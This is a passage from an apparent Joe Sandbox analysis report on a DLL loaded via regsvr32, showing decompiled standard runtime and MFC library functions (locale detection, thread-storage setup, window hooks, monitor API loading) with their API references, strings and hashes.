0x1000ac6d
0x1000ac70
0x1000ac70
0x1000ac3e
0x1000ab63
0x1000ab77
0x1000ab82
0x1000ab98
0x1000aba7
0x1000abbf
0x1000abc4
0x1000abca
0x1000abd6
0x1000abd9
0x1000abeb
0x1000abf7
0x1000abfc
0x1000abff
0x1000abff
0x1000abca
0x1000ac09
0x1000ac09
0x1000ab82
0x1000aa95
0x1000aa9d
0x1000aaa0
0x1000aaa3
0x1000aab5
0x1000aabe
0x1000aac6
0x1000aad3
0x1000aad6
0x1000aadd
0x1000aae1
0x1000aae5
0x1000aae8
0x1000aaeb
0x1000aaf8
0x1000ab04
0x1000ab09
0x1000ab0c
0x1000ab0c
0x1000ab13
0x1000ab13
0x1000ab18
0x1000ab1b
0x1000ab32
0x1000ab39
0x1000ab48
0x1000ac7e
0x1000ac85
0x1000ac95
0x1000ac98
0x1000ac9b
0x1000aca2
0x1000aca5
0x1000acac
0x1000acb8
0x1000acc2
0x1000acc7
0x1000acc7
0x1000accc
0x1000acd1
0x1000acee
0x1000acee
0x1000acf5
0x1000acfa
0x00000000
0x1000acd3
0x1000acd3
0x1000acda
0x1000ace2
0x00000000
0x00000000
0x1000ace4
0x1000ace8
0x00000000
0x00000000
0x00000000
0x1000acea
0x1000acec
0x00000000
0x1000acec
0x1000ab4e
0x1000ab4e
0x1000acfc
0x1000acff
0x1000ad07
0x1000ad08
0x1000ad09
0x1000ad1e
0x1000ad1e

APIs

__EH_prolog3.LIBCMT ref: 1000AA59
GetModuleHandleA.KERNEL32(kernel32.dll,00000058), ref: 1000AA7A
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 1000AA8B
ConvertDefaultLocale.KERNEL32(?), ref: 1000AAC1
ConvertDefaultLocale.KERNEL32(?), ref: 1000AAC9
GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 1000AADD
ConvertDefaultLocale.KERNEL32(?), ref: 1000AB01
ConvertDefaultLocale.KERNEL32(000003FF), ref: 1000AB07
GetModuleFileNameA.KERNEL32(10000000,?,00000105), ref: 1000AB40
GetVersion.KERNEL32 ref: 1000AB55
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 1000AB7A
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,?,?), ref: 1000AB9F
_sscanf.LIBCMT ref: 1000ABBF
ConvertDefaultLocale.KERNEL32(?), ref: 1000ABF4
ConvertDefaultLocale.KERNEL32(74E04EE0), ref: 1000ABFA
RegCloseKey.ADVAPI32(?), ref: 1000AC09
GetModuleHandleA.KERNEL32(ntdll.dll), ref: 1000AC19
EnumResourceLanguagesA.KERNEL32 ref: 1000AC34
ConvertDefaultLocale.KERNEL32(?), ref: 1000AC65
ConvertDefaultLocale.KERNEL32(74E04EE0), ref: 1000AC6B
_memset.LIBCMT ref: 1000AC85

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 1000AB6D
GetSystemDefaultUILanguage, xrefs: 1000AACB
GetUserDefaultUILanguage, xrefs: 1000AA82
ntdll.dll, xrefs: 1000AC14
kernel32.dll, xrefs: 1000AA6C

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: ConvertDefaultLocale$Module$AddressHandleProc$CloseEnumFileH_prolog3LanguagesNameOpenQueryResourceValueVersion_memset_sscanf
String ID: Control Panel\Desktop\ResourceLocale$GetSystemDefaultUILanguage$GetUserDefaultUILanguage$kernel32.dll$ntdll.dll
API String ID: 434808117-483790700
Opcode ID: 391a7af3d11bcdbc6c68bf10dbaf9488a7631794da5acccd773ff9b8d76e3d4f
Instruction ID: 772d67b6ef5536ffa942379cc2d037747f9683b4a435f76ff704d577c4812cba
Opcode Fuzzy Hash: 391a7af3d11bcdbc6c68bf10dbaf9488a7631794da5acccd773ff9b8d76e3d4f
Instruction Fuzzy Hash: 638182B0D002699FEB10DFA5DC84AFEBBF9FB49350F500626E554E7280DB749A85CB60

Uniqueness

Uniqueness Score: -1.00%

Function 1001C11B, Relevance: 42.1, APIs: 19, Strings: 5, Instructions: 109
libraryloadermemoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 91%

			E1001C11B(void* __ebx) {
				void* __edi;
				void* __esi;
				_Unknown_base(*)()* _t7;
				long _t10;
				void* _t11;
				int _t12;
				void* _t18;
				intOrPtr _t21;
				long _t26;
				void* _t30;
				struct HINSTANCE__* _t37;
				void* _t40;
				void* _t42;

				_t30 = __ebx;
				_t37 = GetModuleHandleA("KERNEL32.DLL");
				if(_t37 != 0) {
					 *0x1005aea4 = GetProcAddress(_t37, "FlsAlloc");
					 *0x1005aea8 = GetProcAddress(_t37, "FlsGetValue");
					 *0x1005aeac = GetProcAddress(_t37, "FlsSetValue");
					_t7 = GetProcAddress(_t37, "FlsFree");
					__eflags =  *0x1005aea4;
					_t40 = TlsSetValue;
					 *0x1005aeb0 = _t7;
					if( *0x1005aea4 == 0) {
						L6:
						 *0x1005aea8 = TlsGetValue;
						 *0x1005aea4 = E1001BDD2;
						 *0x1005aeac = _t40;
						 *0x1005aeb0 = TlsFree;
					} else {
						__eflags =  *0x1005aea8;
						if( *0x1005aea8 == 0) {
							goto L6;
						} else {
							__eflags =  *0x1005aeac;
							if( *0x1005aeac == 0) {
								goto L6;
							} else {
								__eflags = _t7;
								if(_t7 == 0) {
									goto L6;
								}
							}
						}
					}
					_t10 = TlsAlloc();
					__eflags = _t10 - 0xffffffff;
					 *0x10057d30 = _t10;
					if(_t10 == 0xffffffff) {
						L15:
						_t11 = 0;
						__eflags = 0;
					} else {
						_t12 = TlsSetValue(_t10,  *0x1005aea8);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L15;
						} else {
							E10018042();
							 *0x1005aea4 = E1001BD03( *0x1005aea4);
							 *0x1005aea8 = E1001BD03( *0x1005aea8);
							 *0x1005aeac = E1001BD03( *0x1005aeac);
							 *0x1005aeb0 = E1001BD03( *0x1005aeb0);
							_t18 = E1001A3D3();
							__eflags = _t18;
							if(_t18 == 0) {
								L14:
								E1001BE05();
								goto L15;
							} else {
								_push(E1001BF91);
								_t21 =  *((intOrPtr*)(E1001BD6F( *0x1005aea4)))();
								__eflags = _t21 - 0xffffffff;
								 *0x10057d2c = _t21;
								if(_t21 == 0xffffffff) {
									goto L14;
								} else {
									_t42 = E1001E76E(1, 0x214);
									__eflags = _t42;
									if(_t42 == 0) {
										goto L14;
									} else {
										_push(_t42);
										_push( *0x10057d2c);
										__eflags =  *((intOrPtr*)(E1001BD6F( *0x1005aeac)))();
										if(__eflags == 0) {
											goto L14;
										} else {
											_push(0);
											_push(_t42);
											E1001BE42(_t30, _t37, _t42, __eflags);
											_t26 = GetCurrentThreadId();
											 *(_t42 + 4) =  *(_t42 + 4) | 0xffffffff;
											 *_t42 = _t26;
											_t11 = 1;
										}
									}
								}
							}
						}
					}
					return _t11;
				} else {
					E1001BE05();
					return 0;
				}
			}

0x1001c11b
0x1001c127
0x1001c12b
0x1001c14b
0x1001c158
0x1001c165
0x1001c16a
0x1001c16c
0x1001c173
0x1001c179
0x1001c17e
0x1001c196
0x1001c19b
0x1001c1a5
0x1001c1af
0x1001c1b5
0x1001c180
0x1001c180
0x1001c187
0x00000000
0x1001c189
0x1001c189
0x1001c190
0x00000000
0x1001c192
0x1001c192
0x1001c194
0x00000000
0x00000000
0x1001c194
0x1001c190
0x1001c187
0x1001c1ba
0x1001c1c0
0x1001c1c3
0x1001c1c8
0x1001c29a
0x1001c29a
0x1001c29a
0x1001c1ce
0x1001c1d5
0x1001c1d7
0x1001c1d9
0x00000000
0x1001c1df
0x1001c1df
0x1001c1f5
0x1001c205
0x1001c215
0x1001c222
0x1001c227
0x1001c22c
0x1001c22e
0x1001c295
0x1001c295
0x00000000
0x1001c230
0x1001c230
0x1001c241
0x1001c243
0x1001c246
0x1001c24b
0x00000000
0x1001c24d
0x1001c259
0x1001c25b
0x1001c25f
0x00000000
0x1001c261
0x1001c261
0x1001c262
0x1001c276
0x1001c278
0x00000000
0x1001c27a
0x1001c27a
0x1001c27c
0x1001c27d
0x1001c284
0x1001c28a
0x1001c28e
0x1001c292
0x1001c292
0x1001c278
0x1001c25f
0x1001c24b
0x1001c22e
0x1001c1d9
0x1001c29e
0x1001c12d
0x1001c12d
0x1001c135
0x1001c135

APIs

GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,10017978,?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001C121
__mtterm.LIBCMT ref: 1001C12D

Part of subcall function 1001BE05: __decode_pointer.LIBCMT ref: 1001BE16
Part of subcall function 1001BE05: TlsFree.KERNEL32(0000001E,10017A14,?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001BE30

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 1001C143
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 1001C150
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 1001C15D
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 1001C16A
TlsAlloc.KERNEL32(?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001C1BA
TlsSetValue.KERNEL32(00000000,?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001C1D5
__init_pointers.LIBCMT ref: 1001C1DF
__encode_pointer.LIBCMT ref: 1001C1EA
__encode_pointer.LIBCMT ref: 1001C1FA
__encode_pointer.LIBCMT ref: 1001C20A
__encode_pointer.LIBCMT ref: 1001C21A
__decode_pointer.LIBCMT ref: 1001C23B
__calloc_crt.LIBCMT ref: 1001C254
__decode_pointer.LIBCMT ref: 1001C26E
__initptd.LIBCMT ref: 1001C27D
GetCurrentThreadId.KERNEL32 ref: 1001C284

Strings

FlsAlloc, xrefs: 1001C13D
FlsSetValue, xrefs: 1001C152
FlsGetValue, xrefs: 1001C145
KERNEL32.DLL, xrefs: 1001C11C
FlsFree, xrefs: 1001C15F

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressProc__encode_pointer$__decode_pointer$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__initptd__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 2657569430-3819984048
Opcode ID: f8eb42d05a0f46123fcd151e30e2a53c2e7fcd681058195d0d7fb9ca21756e1b
Instruction ID: b5f7097eefea174a9ed91942db92a94305995674aef8197461d434292f48097b
Opcode Fuzzy Hash: f8eb42d05a0f46123fcd151e30e2a53c2e7fcd681058195d0d7fb9ca21756e1b
Instruction Fuzzy Hash: E4319335900735AFEB11EFB59CCEA4A3BF1EB46360B144526F5049A1B1EBB5D8C0CB60

Uniqueness

Uniqueness Score: -1.00%

Function 10011389, Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 179
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E10011389(void* __ebx, intOrPtr __edi, void* __esi, void* __eflags) {
				intOrPtr _t54;
				void* _t55;
				signed int _t56;
				void* _t59;
				long _t60;
				signed int _t64;
				void* _t66;
				short _t72;
				signed int _t74;
				signed int _t76;
				long _t83;
				signed int _t86;
				signed short _t87;
				signed int _t88;
				int _t94;
				void* _t106;
				long* _t108;
				long _t110;
				signed int _t111;
				CHAR* _t112;
				intOrPtr _t113;
				void* _t116;
				void* _t119;
				intOrPtr _t120;

				_t119 = __eflags;
				_t105 = __edi;
				_push(0x148);
				E10017C2A(E1002866E, __ebx, __edi, __esi);
				_t110 =  *(_t116 + 0x10);
				_t94 =  *(_t116 + 0xc);
				_push(0x1000a0f5);
				 *(_t116 - 0x120) = _t110;
				_t54 = E10013D98(_t94, 0x10058f44, __edi, _t110, _t119);
				_t120 = _t54;
				_t97 = 0 | _t120 == 0x00000000;
				 *((intOrPtr*)(_t116 - 0x11c)) = _t54;
				_t121 = _t120 == 0;
				if(_t120 == 0) {
					_t54 = E1000A0DB(_t94, _t97, __edi, _t110, _t121);
				}
				if( *(_t116 + 8) == 3) {
					_t106 =  *_t110;
					_t111 =  *(_t54 + 0x14);
					_t55 = E1000D5EC(_t94, _t106, _t111, __eflags);
					__eflags = _t111;
					_t56 =  *(_t55 + 0x14) & 0x000000ff;
					 *(_t116 - 0x124) = _t56;
					if(_t111 != 0) {
						L7:
						__eflags =  *0x1005acbc;
						if( *0x1005acbc == 0) {
							L12:
							__eflags = _t111;
							if(__eflags == 0) {
								__eflags =  *0x1005a8dc;
								if( *0x1005a8dc != 0) {
									L19:
									__eflags = (GetClassLongA(_t94, 0xffffffe0) & 0x0000ffff) -  *0x1005a8dc; // 0x0
									if(__eflags != 0) {
										L23:
										_t59 = GetWindowLongA(_t94, 0xfffffffc);
										__eflags = _t59;
										 *(_t116 - 0x14) = _t59;
										if(_t59 != 0) {
											_t112 = "AfxOldWndProc423";
											_t64 = GetPropA(_t94, _t112);
											__eflags = _t64;
											if(_t64 == 0) {
												SetPropA(_t94, _t112,  *(_t116 - 0x14));
												_t66 = GetPropA(_t94, _t112);
												__eflags = _t66 -  *(_t116 - 0x14);
												if(_t66 ==  *(_t116 - 0x14)) {
													GlobalAddAtomA(_t112);
													SetWindowLongA(_t94, 0xfffffffc, E10011245);
												}
											}
										}
										L27:
										_t105 =  *((intOrPtr*)(_t116 - 0x11c));
										_t60 = CallNextHookEx( *(_t105 + 0x28), 3, _t94,  *(_t116 - 0x120));
										__eflags =  *(_t116 - 0x124);
										_t110 = _t60;
										if( *(_t116 - 0x124) != 0) {
											UnhookWindowsHookEx( *(_t105 + 0x28));
											_t50 = _t105 + 0x28;
											 *_t50 =  *(_t105 + 0x28) & 0x00000000;
											__eflags =  *_t50;
										}
										goto L30;
									}
									goto L27;
								}
								_t113 = 0x30;
								E100174D0(_t106, _t116 - 0x154, 0, _t113);
								 *((intOrPtr*)(_t116 - 0x154)) = _t113;
								_push(_t116 - 0x154);
								_push("#32768");
								_push(0);
								_t72 = E1000E5E2(_t94, _t97, _t106, "#32768", __eflags);
								__eflags = _t72;
								 *0x1005a8dc = _t72;
								if(_t72 == 0) {
									_t74 = GetClassNameA(_t94, _t116 - 0x118, 0x100);
									__eflags = _t74;
									if(_t74 == 0) {
										goto L23;
									}
									 *((char*)(_t116 - 0x19)) = 0;
									_t76 = E100199C1(_t116 - 0x118, "#32768");
									__eflags = _t76;
									if(_t76 == 0) {
										goto L27;
									}
									goto L23;
								}
								goto L19;
							}
							E1000D638(_t116 - 0x18, __eflags,  *((intOrPtr*)(_t111 + 0x1c)));
							 *(_t116 - 4) =  *(_t116 - 4) & 0x00000000;
							E1000FB9D(_t111, _t116, _t94);
							 *((intOrPtr*)( *_t111 + 0x50))();
							_t108 =  *((intOrPtr*)( *_t111 + 0xf0))();
							_t83 = SetWindowLongA(_t94, 0xfffffffc, E1001025C);
							__eflags = _t83 - E1001025C;
							if(_t83 != E1001025C) {
								 *_t108 = _t83;
							}
							 *( *((intOrPtr*)(_t116 - 0x11c)) + 0x14) =  *( *((intOrPtr*)(_t116 - 0x11c)) + 0x14) & 0x00000000;
							 *(_t116 - 4) =  *(_t116 - 4) | 0xffffffff;
							__eflags =  *(_t116 - 0x14);
							if( *(_t116 - 0x14) != 0) {
								_push( *(_t116 - 0x18));
								_push(0);
								E1000CEFC();
							}
							goto L27;
						}
						_t86 = GetClassLongA(_t94, 0xffffffe6);
						__eflags = _t86 & 0x00010000;
						if((_t86 & 0x00010000) != 0) {
							goto L27;
						}
						_t87 =  *(_t106 + 0x28);
						__eflags = _t87 - 0xffff;
						if(_t87 <= 0xffff) {
							 *(_t116 - 0x18) = 0;
							GlobalGetAtomNameA( *(_t106 + 0x28) & 0x0000ffff, _t116 - 0x18, 5);
							_t87 = _t116 - 0x18;
						}
						_t88 = E1000A7E1(_t87, "ime");
						__eflags = _t88;
						_pop(_t97);
						if(_t88 == 0) {
							goto L27;
						}
						goto L12;
					}
					__eflags =  *(_t106 + 0x20) & 0x40000000;
					if(( *(_t106 + 0x20) & 0x40000000) != 0) {
						goto L27;
					}
					__eflags = _t56;
					if(_t56 != 0) {
						goto L27;
					}
					goto L7;
				} else {
					CallNextHookEx( *(_t54 + 0x28),  *(_t116 + 8), _t94, _t110);
					L30:
					return E10017C74(_t94, _t105, _t110);
				}
			}

0x10011389
0x10011389
0x10011389
0x10011393
0x10011398
0x1001139b
0x1001139e
0x100113a8
0x100113ae
0x100113b5
0x100113b7
0x100113ba
0x100113c0
0x100113c2
0x100113c4
0x100113c4
0x100113cd
0x100113e2
0x100113e4
0x100113e7
0x100113ec
0x100113ee
0x100113f2
0x100113f8
0x1001140f
0x1001140f
0x10011416
0x10011463
0x10011463
0x10011465
0x100114cd
0x100114d5
0x10011511
0x1001151d
0x10011524
0x10011556
0x10011559
0x1001155f
0x10011561
0x10011564
0x1001156c
0x10011573
0x10011575
0x10011577
0x1001157e
0x10011586
0x10011588
0x1001158b
0x1001158e
0x1001159c
0x1001159c
0x1001158b
0x10011577
0x100115a2
0x100115a8
0x100115b4
0x100115ba
0x100115c1
0x100115c3
0x100115c8
0x100115ce
0x100115ce
0x100115ce
0x100115ce
0x00000000
0x100115d2
0x00000000
0x10011526
0x100114d9
0x100114e4
0x100114ef
0x100114f5
0x100114fb
0x100114fc
0x100114fe
0x10011506
0x10011509
0x1001150f
0x10011535
0x1001153b
0x1001153d
0x00000000
0x00000000
0x10011547
0x1001154b
0x10011550
0x10011554
0x00000000
0x00000000
0x00000000
0x10011554
0x00000000
0x1001150f
0x1001146d
0x10011472
0x10011479
0x10011482
0x10011498
0x1001149a
0x100114a0
0x100114a2
0x100114a4
0x100114a4
0x100114ac
0x100114b0
0x100114b4
0x100114b8
0x100114be
0x100114c1
0x100114c3
0x100114c3
0x00000000
0x100114b8
0x1001141b
0x10011421
0x10011426
0x00000000
0x00000000
0x1001142c
0x1001142f
0x10011434
0x10011441
0x10011445
0x1001144b
0x1001144b
0x10011454
0x10011459
0x1001145c
0x1001145d
0x00000000
0x00000000
0x00000000
0x1001145d
0x100113fa
0x10011401
0x00000000
0x00000000
0x10011407
0x10011409
0x00000000
0x00000000
0x00000000
0x100113cf
0x100113d7
0x100115d4
0x100115d9
0x100115d9

APIs

__EH_prolog3_GS.LIBCMT ref: 10011393

Part of subcall function 10013D98: __EH_prolog3.LIBCMT ref: 10013D9F

CallNextHookEx.USER32 ref: 100113D7

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

GetClassLongA.USER32 ref: 1001141B
GlobalGetAtomNameA.KERNEL32 ref: 10011445
SetWindowLongA.USER32(?,000000FC,Function_0001025C), ref: 1001149A
_memset.LIBCMT ref: 100114E4
GetClassLongA.USER32 ref: 10011514
GetClassNameA.USER32(?,?,00000100), ref: 10011535
GetWindowLongA.USER32 ref: 10011559
GetPropA.USER32 ref: 10011573
SetPropA.USER32(?,AfxOldWndProc423,?), ref: 1001157E
GetPropA.USER32 ref: 10011586
GlobalAddAtomA.KERNEL32 ref: 1001158E
SetWindowLongA.USER32(?,000000FC,Function_00011245), ref: 1001159C
CallNextHookEx.USER32 ref: 100115B4
UnhookWindowsHookEx.USER32(?), ref: 100115C8

Strings

#32768, xrefs: 100114F6, 100114FB, 10011545
AfxOldWndProc423, xrefs: 1001156C, 10011571, 1001157C, 10011584, 1001158D
ime, xrefs: 1001144E

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Long$ClassHookPropWindow$AtomCallGlobalH_prolog3NameNext$Exception@8H_prolog3_ThrowUnhookWindows_memset
String ID: #32768$AfxOldWndProc423$ime
API String ID: 1191297049-4034971020
Opcode ID: a59f08c89f11fe6b3e13f01d104cbc0d9868f5cf59dfadfd77116e560bc0dc28
Instruction ID: 45731ac5847e6eda9355a9c996fe1b8867c86b30351497dbe8ef7f26860efac9
Opcode Fuzzy Hash: a59f08c89f11fe6b3e13f01d104cbc0d9868f5cf59dfadfd77116e560bc0dc28
Instruction Fuzzy Hash: 09619E31900666EFEB14DB61CC49BDE7BA9EF483A1F214254F506AB191DB34DEC1CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1000D6C3, Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 77
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E1000D6C3() {
				void* __ebx;
				void* __esi;
				struct HINSTANCE__* _t5;
				_Unknown_base(*)()* _t6;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t9;
				_Unknown_base(*)()* _t10;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t12;
				struct HINSTANCE__* _t18;
				void* _t20;
				intOrPtr _t23;
				_Unknown_base(*)()* _t24;

				_t23 =  *0x1005a76c; // 0x0
				if(_t23 == 0) {
					_push(_t20);
					 *0x1005a770 = E1000D66B(0, _t20, __eflags);
					_t18 = GetModuleHandleA("USER32");
					__eflags = _t18;
					if(_t18 == 0) {
						L12:
						 *0x1005a750 = 0;
						 *0x1005a754 = 0;
						 *0x1005a758 = 0;
						 *0x1005a75c = 0;
						 *0x1005a760 = 0;
						 *0x1005a764 = 0;
						 *0x1005a768 = 0;
						_t5 = 0;
					} else {
						_t6 = GetProcAddress(_t18, "GetSystemMetrics");
						__eflags = _t6;
						 *0x1005a750 = _t6;
						if(_t6 == 0) {
							goto L12;
						} else {
							_t7 = GetProcAddress(_t18, "MonitorFromWindow");
							__eflags = _t7;
							 *0x1005a754 = _t7;
							if(_t7 == 0) {
								goto L12;
							} else {
								_t8 = GetProcAddress(_t18, "MonitorFromRect");
								__eflags = _t8;
								 *0x1005a758 = _t8;
								if(_t8 == 0) {
									goto L12;
								} else {
									_t9 = GetProcAddress(_t18, "MonitorFromPoint");
									__eflags = _t9;
									 *0x1005a75c = _t9;
									if(_t9 == 0) {
										goto L12;
									} else {
										_t10 = GetProcAddress(_t18, "EnumDisplayMonitors");
										__eflags = _t10;
										 *0x1005a764 = _t10;
										if(_t10 == 0) {
											goto L12;
										} else {
											_t11 = GetProcAddress(_t18, "GetMonitorInfoA");
											__eflags = _t11;
											 *0x1005a760 = _t11;
											if(_t11 == 0) {
												goto L12;
											} else {
												_t12 = GetProcAddress(_t18, "EnumDisplayDevicesA");
												__eflags = _t12;
												 *0x1005a768 = _t12;
												if(_t12 == 0) {
													goto L12;
												} else {
													_t5 = 1;
													__eflags = 1;
												}
											}
										}
									}
								}
							}
						}
					}
					 *0x1005a76c = 1;
					return _t5;
				} else {
					_t24 =  *0x1005a760; // 0x0
					return 0 | _t24 != 0x00000000;
				}
			}

0x1000d6c6
0x1000d6cc
0x1000d6db
0x1000d6e7
0x1000d6f2
0x1000d6f4
0x1000d6f6
0x1000d78a
0x1000d78a
0x1000d790
0x1000d796
0x1000d79c
0x1000d7a2
0x1000d7a8
0x1000d7ae
0x1000d7b4
0x1000d6fc
0x1000d708
0x1000d70a
0x1000d70c
0x1000d711
0x00000000
0x1000d713
0x1000d719
0x1000d71b
0x1000d71d
0x1000d722
0x00000000
0x1000d724
0x1000d72a
0x1000d72c
0x1000d72e
0x1000d733
0x00000000
0x1000d735
0x1000d73b
0x1000d73d
0x1000d73f
0x1000d744
0x00000000
0x1000d746
0x1000d74c
0x1000d74e
0x1000d750
0x1000d755
0x00000000
0x1000d757
0x1000d75d
0x1000d75f
0x1000d761
0x1000d766
0x00000000
0x1000d768
0x1000d76e
0x1000d770
0x1000d772
0x1000d777
0x00000000
0x1000d779
0x1000d77b
0x1000d77b
0x1000d77b
0x1000d777
0x1000d766
0x1000d755
0x1000d744
0x1000d733
0x1000d722
0x1000d711
0x1000d77e
0x1000d789
0x1000d6ce
0x1000d6d0
0x1000d6da
0x1000d6da

APIs

GetModuleHandleA.KERNEL32(USER32,00000000,00000000,76925D80,1000D80F,?,?,?,?,?,?,?,1000F61E,00000000,00000002,00000028), ref: 1000D6EC
GetProcAddress.KERNEL32(00000000,GetSystemMetrics), ref: 1000D708
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 1000D719
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 1000D72A
GetProcAddress.KERNEL32(00000000,MonitorFromPoint), ref: 1000D73B
GetProcAddress.KERNEL32(00000000,EnumDisplayMonitors), ref: 1000D74C
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 1000D75D
GetProcAddress.KERNEL32(00000000,EnumDisplayDevicesA), ref: 1000D76E

Strings

GetMonitorInfoA, xrefs: 1000D757
MonitorFromRect, xrefs: 1000D724
USER32, xrefs: 1000D6E2
GetSystemMetrics, xrefs: 1000D702
EnumDisplayDevicesA, xrefs: 1000D768
MonitorFromPoint, xrefs: 1000D735
EnumDisplayMonitors, xrefs: 1000D746
MonitorFromWindow, xrefs: 1000D713

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: EnumDisplayDevicesA$EnumDisplayMonitors$GetMonitorInfoA$GetSystemMetrics$MonitorFromPoint$MonitorFromRect$MonitorFromWindow$USER32
API String ID: 667068680-68207542
Opcode ID: ee0e5f062bbe94e4a9e7c06d78520802f13055058268d31d10b74b4948bb3027
Instruction ID: 93615fb53cb164fe7f3d347b700eade87a81924dee4312457033af375ccc55a3
Opcode Fuzzy Hash: ee0e5f062bbe94e4a9e7c06d78520802f13055058268d31d10b74b4948bb3027
Instruction Fuzzy Hash: 7921E3B19097699BE701EF369DC856DBAF5F34F281391453FE109D2528EB3884C6EE20

Uniqueness

Uniqueness Score: -1.00%

Function 1000F530, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 176
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E1000F530(void* __ebx, intOrPtr __ecx, void* __edx, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				struct tagRECT _v28;
				struct tagRECT _v44;
				struct tagRECT _v60;
				struct tagRECT _v80;
				char _v100;
				void* __edi;
				intOrPtr _t58;
				struct HWND__* _t59;
				intOrPtr _t94;
				signed int _t103;
				struct HWND__* _t104;
				void* _t105;
				struct HWND__* _t107;
				long _t108;
				long _t116;
				void* _t119;
				struct HWND__* _t121;
				void* _t123;
				intOrPtr _t125;
				intOrPtr _t129;

				_t119 = __edx;
				_t105 = __ebx;
				_t125 = __ecx;
				_v12 = __ecx;
				_v8 = E10012862(__ecx);
				_t58 = _a4;
				if(_t58 == 0) {
					if((_v8 & 0x40000000) == 0) {
						_t59 = GetWindow( *(__ecx + 0x20), 4);
					} else {
						_t59 = GetParent( *(__ecx + 0x20));
					}
					_t121 = _t59;
					if(_t121 != 0) {
						_t104 = SendMessageA(_t121, 0x36b, 0, 0);
						if(_t104 != 0) {
							_t121 = _t104;
						}
					}
				} else {
					_t4 = _t58 + 0x20; // 0xc033d88b
					_t121 =  *_t4;
				}
				_push(_t105);
				GetWindowRect( *(_t125 + 0x20),  &_v60);
				if((_v8 & 0x40000000) != 0) {
					_t107 = GetParent( *(_t125 + 0x20));
					GetClientRect(_t107,  &_v28);
